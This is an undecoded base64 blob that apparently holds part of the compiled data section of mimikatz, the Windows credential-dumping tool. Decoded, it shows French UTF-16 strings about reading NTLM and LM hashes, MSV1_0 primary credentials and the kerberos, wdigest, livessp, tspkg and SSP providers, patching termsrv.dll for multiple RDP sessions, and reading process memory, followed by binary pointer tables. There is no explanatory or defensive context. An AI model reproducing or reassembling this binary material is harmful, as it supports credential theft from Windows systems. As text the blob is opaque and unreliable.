ZQAgAG0AaQBtAGkAawBhAHQAegAgAHUAbgAgAGMAZQByAHQAYQBpAG4AcwAgAG4AbwBtAGIAcgBlACAAZABlACAAbQBpAGwAbABpAHMAZQBjAG8AbgBkAGUAcwAAAAAAcwBsAGUAZQBwAAAAAAAAADEwOjEwOjI1AAAAAAAAAABMAGEAIAByAOkAcABvAG4AcwBlACAAZQBzAHQAIAA0ADIALgAAAAAASQAgAGUAZABpAHQAIAB0AGgAZQAgAHcAbwByAGwAZAAgAGkAbgAgAEgARQBYAAAAIABtAHMALgAuAC4AIAAAAFMAbABlAGUAcAAgADoAIAAAAAAAAAAAAEYAaQBuACAAIQAAAAAAAABBAGYAZgBpAGMAaABlACAAbAAnAHUAdABpAGwAaQBzAGEAdABlAHUAcgAgAGMAbwB1AHIAYQBuAHQAAAAAAAAAAAAAAAAAAABBAGYAZgBpAGMAaABlACAAbABlACAAbgBvAG0AIABkACcAbwByAGQAaQBuAGEAdABlAHUAcgAgAGMAbwB1AHIAYQBuAHQAAABjAG8AbQBwAHUAdABlAHIAAAAAAAAAAABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAIAA6ACAAAAAAAG0AbwBkAF8AcwB5AHMAdABlAG0AOgA6AGcAZQB0AFUAcwBlAHIATgBhAG0AZQAgADoAIAAAAAAAbQBvAGQAXwBzAHkAcwB0AGUAbQA6ADoAZwBlAHQAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIAA6ACAAAAAAAHMAZQBzAHMAaQBvAG4AcwAAAAAAAAAAAHAAcgBvAGMAZQBzAHMAZQBzAAAAAAAAAAAAAAAAAAAAUABhAHQAYwBoACAAbABlACAAYgB1AHIAZQBhAHUAIADgACAAZABpAHMAdABhAG4AYwBlACAAcABvAHUAcgAgAGQA6QBwAGEAcwBzAGUAcgAgADIAIABjAG8AbgBuAGUAeABpAG8AbgBzACAAcwBpAG0AdQBsAHQAYQBuAOkAZQBzAAAAAAAAAG0AdQBsAHQAaQByAGQAcAAAAAAAAAAAAEEAZgBmAGkAYwBoAGUAIABsACcA6QB0AGEAdAAgAGQAZQAgAGwAYQAgAHAAcgBpAHMAZQAgAGQAZQAgAGMAbwBuAHQAcgD0AGwAZQAgAGQAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAUgBEAFAAAAB2AGkAZQB3AHMAaABhAGQAbwB3AAAAAAAAAAAAAAAAAE0AbwBkAGkAZgBpAGUAIABsACcA6QB0AGEAdAAgAGQAZQAgAGwAYQAgAHAAcgBpAHMAZQAgAGQAZQAgAGMAbwBuAHQAcgD0AGwAZQAgAGQAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAUgBEAFAAIAAoAEQASQBTAEEAQgBMAEUALAAgAEkATgBUAEUAUgBBAEMAVAAsACAASQBOAFQARQBSAEEAQwBUAF8ATgBPAEEAUwBLACwAIABWAEkARQBXACwAIABWAEkARQBXAF8ATgBPAEEAUwBLACkAAAAAAAAAbQBvAGQAaQBmAHkAcwBoAGEAZABvAHcAAAAAAAAAAABTAGUAcwBzAEkAZAAJAEUAdABhAHQACQBzAHQAcgBFAHQAYQB0AAAAbQBvAGQAXwB0AHMAOgA6AGcAZQB0AFMAZQBzAHMAaQBvAG4AcwAgADoAIAAAAAAAUABJAEQACQBTAGUAcwBzAEkAZAAJAFUAdABpAGwAaQBzAGEAdABlAHUAcgAAAAAARABJAFMAQQBCAEwARQAAAEkATgBUAEUAUgBBAEMAVAAAAAAAAAAAAEkATgBUAEUAUgBBAEMAVABfAE4ATwBBAFMASwAAAAAAVgBJAEUAVwAAAAAAAAAAAFYASQBFAFcAXwBOAE8AQQBTAEsAAAAAAAAAAAAAAAAARQByAHIAZQB1AHIAIABkAGUAIABwAGEAcgBzAGkAbgBnACAAZABlACAAbAAnAGEAcgBnAHUAbQBlAG4AdAAgADoAIAAAAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAQABXAGkAbgBzAHQAYQB0AGkAbwBuACAAOgAgAAAAAAAgADwALQA+ACAAAAAJAAAACQBpAGQAIAAgACAAIAAgADoAIAAAAAAACQBuAGEAbQBlACAAIAAgADoAIAAAAAAACQBzAG4AYQBtAGUAIAAgADoAIAAAAAAACQB0AHkAcABlACAAIAAgADoAIAAAAAAACQBzAGgAYQBkAG8AdwAgADoAIAAAAAAACQAgACAAIAAgACAAIAA9AD4AIAAAAAAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAcgBlAGEAZABNAGUAbQBvAHIAeQAgAAAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAAAAAAAAAAAAAAAAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUAUwBlAHIAdgBpAGMAZQBGAG8AcgBOAGEAbQBlACAAOgAgAAAASQBOAFQARQBSAEEAQwBUACAAKABjAG8AbgBmAGkAcgBtAGEAdABpAG8AbgApAAAAVgBJAEUAVwAgACgAYwBvAG4AZgBpAHIAbQBhAHQAaQBvAG4AKQAAAEEAYwB0AGkAdgBlAAAAAABDAG8AbgBuAGUAYwB0AGUAZAAAAAAAAABDAG8AbgBuAGUAYwB0AFEAdQBlAHIAeQAAAAAAAAAAAFMAaABhAGQAbwB3AAAAAABEAGkAcwBjAG8AbgBuAGUAYwB0AGUAZAAAAAAAAAAAAEkAZABsAGUAAAAAAAAAAABMAGkAcwB0AGUAbgAAAAAAUgBlAHMAZQB0AAAAAAAAAEQAbwB3AG4AAAAAAAAAAABJAG4AaQB0AAAAAAAAAAAATABpAHMAdABlACAAbABlAHMAIAB0AGgAcgBlAGEAZABzAAAAAAAAAFMAdQBzAHAAZQBuAGQAIAB1AG4AIAB0AGgAcgBlAGEAZAAgAGEAYwB0AGkAZgAAAFIAZQBwAHIAZQBuAGQAIAB1AG4AIAB0AGgAcgBlAGEAZAAgAHMAdQBzAHAAZQBuAGQAdQAAAAAAQQByAHIA6gB0AGUAIAB1AG4AIAB0AGgAcgBlAGEAZAAAAAAAAAAAAAAAAAAAAAAARQBuAHYAbwBpACAAdQBuACAAbQBlAHMAcwBhAGcAZQAgAGQAZQAgAGYAZQByAG0AZQB0AHUAcgBlACAA4AAgAHUAbgAgAHQAaAByAGUAYQBkAAAAAAAAAHEAdQBpAHQAAAAAAAAAAABQAEkARAAJAFQASQBEAAkAcAByAFQAaAAAAAAAAAAAAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AGcAZQB0AEwAaQBzAHQAIAA7ACAAAAAAAAkAcgBlAHAAcgBpAHMAZQAgAAAAAAAAAHQAaAByAGUAYQBkACAAAABLAE8AIAAtACAAbQBvAGQAXwB0AGgAcgBlAGEAZAA6ADoAcgBlAHMAdQBtAGUAIAA7ACAAAAAAACcAIABpAG4AdgBhAGwAaQBkAGUAAAAAAGEAcgBnAHUAbQBlAG4AdAAgACcAAAAAAAkAcwB1AHMAcABlAG4AcwBpAG8AbgAgAAAAAAAAAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHMAdQBzAHAAZQBuAGQAIAA7ACAAAAAJAGEAcgByAOoAdAAgAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHMAdABvAHAAIAA7ACAAAAAAAAAAAAAJAG0AZQBzAHMAYQBnAGUAIABmAGUAcgBtAGUAdAB1AHIAZQAgAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHEAdQBpAHQAIAA7ACAAAAAAAAAAAAAAAAAAAAAAAE0AZQB0ACAAZQBuACAAcABhAHUAcwBlACAAbABlACAAYwBoAHIAbwBuAG8AbQDoAHQAcgBlACAAZAB1ACAAZADpAG0AaQBuAGUAdQByACAAZQBuACAAYwBvAHUAcgBzAAAAAAAAAAAAcABhAHUAcwBlAAAAAAAAAAAAAAAAAAAAUgBlAHAAcgBlAG4AZAAgAGwAZQAgAGMAaAByAG8AbgBvAG0A6AB0AHIAZQAgAGQAdQAgAGQA6QBtAGkAbgBlAHUAcgAgAGUAbgAgAGMAbwB1AHIAcwAAAHIAZQBwAHIAaQBzAGUAAABEAOkAbQBhAHIAcgBlACAAdQBuAGUAIABuAG8AdQB2AGUAbABsAGUAIABwAGEAcgB0AGkAZQAAAFQAcgBpAGMAaABlACAAYQB1ACAAZADpAG0AaQBuAGUAdQByAAAAAABjAGgAZQBhAHQAAAAAAAAAUABhAHQAYwBoAOkAIAA7ACkAAAAAAAAAdwBpAG4AbQBpAG4AZQAuAGUAeABlAAAAbgAuAGEALgAgACgAawBlAHIAYgBlAHIAbwBzACAASwBPACkAAAAAAG4ALgBzAC4AIAAoAFMAdQBwAHAAQwByAGUAZAAgAEsATwApACAALwAgAAAAAAAAAG4ALgBhAC4AIAAoAGwAaQB2AGUAcwBzAHAAIABLAE8AKQAAAAAAAAAAAAAAAAAAAG4ALgBlAC4AIAAoAEwAZQBjAHQAdQByAGUAIABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBQAFIA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AAAAAAAAAAAiBZMZAgAAANxXBgABAAAAFF8GAAUAAAA8XwYAIAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAkAYAuAAGAJAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA0AAGAAAAAAAAAAAA4AAGAAAAAAAAAAAAAAAAAACQBgAAAAAAAAAAAP////8AAAAAQAAAALgABgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAwkAYAMAEGAAgBBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAASAEGAAAAAAAAAAAAYAEGAOAABgAAAAAAAAAAAAAAAAAAAAAAMJAGAAEAAAAAAAAA/////wAAAABAAAAAMAEGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAGiQBgCwAQYAiAEGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADIAQYAAAAAAAAAAADgAQYA4AAGAAAAAAAAAAAAAAAAAAAAAABokAYAAQAAAAAAAAD/////AAAAAEAAAACwAQYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAoJAGADACBgAIAgYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAEgCBgAAAAAAAAAAAGgCBgBgAQYA4AAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAoJAGAAIAAAAAAAAA/////wAAAABAAAAAMAIGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAABiRBgC4AgYAkAIGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADQAgYAAAAAAAAAAADoAgYA6AoGAAAAAAAAAAAAAAAAAAAAAAAYkQYAAQAAAAAAAAD/////AAAAAEAAAAC4AgYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAASJEGADgDBgAQAwYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAFADBgAAAAAAAAAAAGgDBgAAEAYAAAAAAAAAAAAAAAAAAAAAAEiRBgABAAAAAAAAAP////8AAAAAQAAAADgDBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABwkQYAuAMGAJADBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAA0AMGAAAAAAAAAAAA8AMGAGgDBgAAEAYAAAAAAAAAAAAAAAAAAAAAAAAAAABwkQYAAgAAAAAAAAD/////AAAAAEAAAAC4AwYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAmJEGAEAEBgAYBAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAFgEBgAAAAAAAAAAAHgEBgBoAwYAABAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAmJEGAAIAAAAAAAAA/////wAAAABAAAAAQAQGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAANCRBgDIBAYAoAQGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADgBAYAAAAAAAAAAAD4BAYAAA4GAAAAAAAAAAAAAAAAAAAAAADQkQYAAQAAAAAAAAD/////AAAAAEAAAADIBAYAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAOAUGAAAAAAAAAAAAUAUGAOgKBgAAAAAAAAAAAAAAAAAAAAAAGJIGAAEAAAAAAAAA/////wAAAABAAAAAIAUGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAECSBgCgBQYAeAUGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAC4BQYAAAAAAAAAAADYBQYAUAUGAOgKBgAAAAAAAAAAAAAAAAAAAAAAAAAAAECSBgACAAAAAAAAAP////8AAAAAQAAAAKAFBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABYsQYAKBAGAAAGBgAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAA2LEGAFAGBgAoBgYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAGgGBgAAAAAAAAAAAIAGBgAAEAYAAAAAAAAAAAAAAAAAAAAAANixBgABAAAAAAAAAP////8AAAAAQAAAAFAGBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABolAYA0AYGAKgGBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA6AYGAAAAAAAAAAAA+AYGAAAAAAAAAAAAAAAAAGiUBgAAAAAAAAAAAP////8AAAAAQAAAANAGBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAADQmQYASAcGACAHBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAYAcGAAAAAAAAAAAAeAcGAAAQBgAAAAAAAAAAAAAAAAAAAAAA0JkGAAEAAAAAAAAA/////wAAAABAAAAASAcGAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAADCuBgDIBwYAoAcGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADgBwYAAAAAAAAAAAD4BwYA6AoGAAAAAAAAAAAAAAAAAAAAAAAwrgYAAQAAAAAAAAD/////AAAAAEAAAADIBwYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAYK4GAEgIBgAgCAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAGAIBgAAAAAAAAAAAHgIBgDoCgYAAAAAAAAAAAAAAAAAAAAAAGCuBgABAAAAAAAAAP////8AAAAAQAAAAEgIBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAACAsQYAyAgGAKAIBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAA4AgGAAAAAAAAAAAACAkGAJAJBgBoCwYAABAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICxBgADAAAAAAAAAP////8AAAAAQAAAAMgIBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAACwsQYAWAkGADAJBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAcAkGAAAAAAAAAAAAkAkGAGgLBgAAEAYAAAAAAAAAAAAAAAAAAAAAAAAAAACwsQYAAgAAAAAAAAD/////AAAAAEAAAABYCQYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAwK4GAOAJBgC4CQYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAPgJBgAAAAAAAAAAABgKBgBwCgYA6AoGAAAAAAAAAAAAAAAAAAAAAAAAAAAAwK4GAAIAAAAAAAAA/////wAAAABAAAAA4AkGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAFgKBgAAAAAAAAAAAHAKBgDoCgYAAAAAAAAAAAAAAAAAAAAAAOiuBgABAAAAAAAAAP////8AAAAAQAAAAEAKBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAQrwYAwAoGAJgKBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA2AoGAAAAAAAAAAAA6AoGAAAAAAAAAAAAAAAAABCvBgAAAAAAAAAAAP////8AAAAAQAAAAMAKBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAwsQYAOAsGABALBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAUAsGAAAAAAAAAAAAaAsGAAAQBgAAAAAAAAAAAAAAAAAAAAAAMLEGAAEAAAAAAAAA/////wAAAABAAAAAOAsGAAAAAAAAAAAAAAAAAAEAAACIAAAAAAAAAECvBgC4CwYAkAsGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAADQCwYAAAAAAAAAAAAADAYAiA0GAGANBgA4DQYAEA0GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABArwYABAAAAAAAAAD/////AAAAAEAAAAC4CwYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAoK8GAFAMBgAoDAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAGgMBgAAAAAAAAAAAIAMBgAADgYAAAAAAAAAAAAAAAAAAAAAAKCvBgABAAAAAAAAAP////8AAAAAQAAAAFAMBgAAAAAAAAAAAAAAAAABAAAACAAAAAAAAAAAsAYA0AwGAKgMBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAA6AwGAAAAAAAAAAAAiA0GAGANBgA4DQYAEA0GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOCwBgAAAAAACAAAAAAAAAAEAAAAQAAAADAPBgAAAAAAAAAAAAAAAAAIsQYAAQAAAAAAAAAAAAAABAAAAEAAAADYDgYAAAAAAAAAAAAAAAAAoLAGAAIAAAAAAAAAAAAAAAQAAABQAAAAUA4GAAAAAAAAAAAAAAAAAACwBgADAAAAAAAAAP////8AAAAAQAAAANAMBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABQsAYA2A0GALANBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA8A0GAAAAAAAAAAAAAA4GAAAAAAAAAAAAAAAAAFCwBgAAAAAAAAAAAP////8AAAAAQAAAANgNBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAACgsAYAUA4GACgOBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAaA4GAAAAAAAAAAAAiA4GAIAPBgAIDwYAAAAAAAAAAAAAAAAAAAAAAAAAAACgsAYAAgAAAAAAAAD/////AAAAAEAAAABQDgYAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAACLEGANgOBgCwDgYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAPAOBgAAAAAAAAAAAIAPBgAIDwYAAAAAAAAAAAAAAAAAAAAAAOCwBgAAAAAACAAAAP////8AAAAAQAAAADAPBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAABIDwYAAAAAAAAAAABYDwYAAAAAAAAAAAAAAAAA4LAGAAAAAAAAAAAA/////wAAAABAAAAAMA8GAAAAAAAAAAAAAAAAAAixBgABAAAAAAAAAP////8AAAAAQAAAANgOBgAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAsgYA0A8GAKgPBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAA6A8GAAAAAAAAAAAAUBAGAAAQBgAAAAAAAAAAAAAAAAAAAAAAWLEGAAAAAAAAAAAA/////wAAAABAAAAAKBAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAEAQBgAAAAAAAAAAAAAQBgAAAAAAAAAAAAAAAAAAsgYAAQAAAAAAAAD/////AAAAAEAAAADQDwYAAAAAAAAAAAAAAAAAAQAAAJgAAAAAAAAAMLIGAKAQBgB4EAYAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAACgAAAMAQBgAAAAAAAAAAAAAAAAAAAAAAGBEGAPgRBgCIEgYAYA0GADgNBgAQDQYA0BEGAGANBgA4DQYAEA0GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCyBgAJAAAAAAAAAP////8AAAAAQAAAAKAQBgAAAAAAAAAAAAAAAAABAAAAGAAAAAAAAACQsgYAaBEGAEARBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAJAAAAgBEGAAAAAAAAAAAA+BEGAIgSBgBgDQYAOA0GABANBgDQEQYAYA0GADgNBgAQDQYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAYAAwAAABAAAAD/////AAAAAEAAAADQDAYAAAAAAAAAAAAAAAAAkLIGAAgAAAAAAAAA/////wAAAABAAAAAaBEGAAAAAAAAAAAAAAAAAAEAAAAQAAAAAAAAAOCyBgBIEgYAIBIGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAABgEgYAAAAAAAAAAACIEgYAYA0G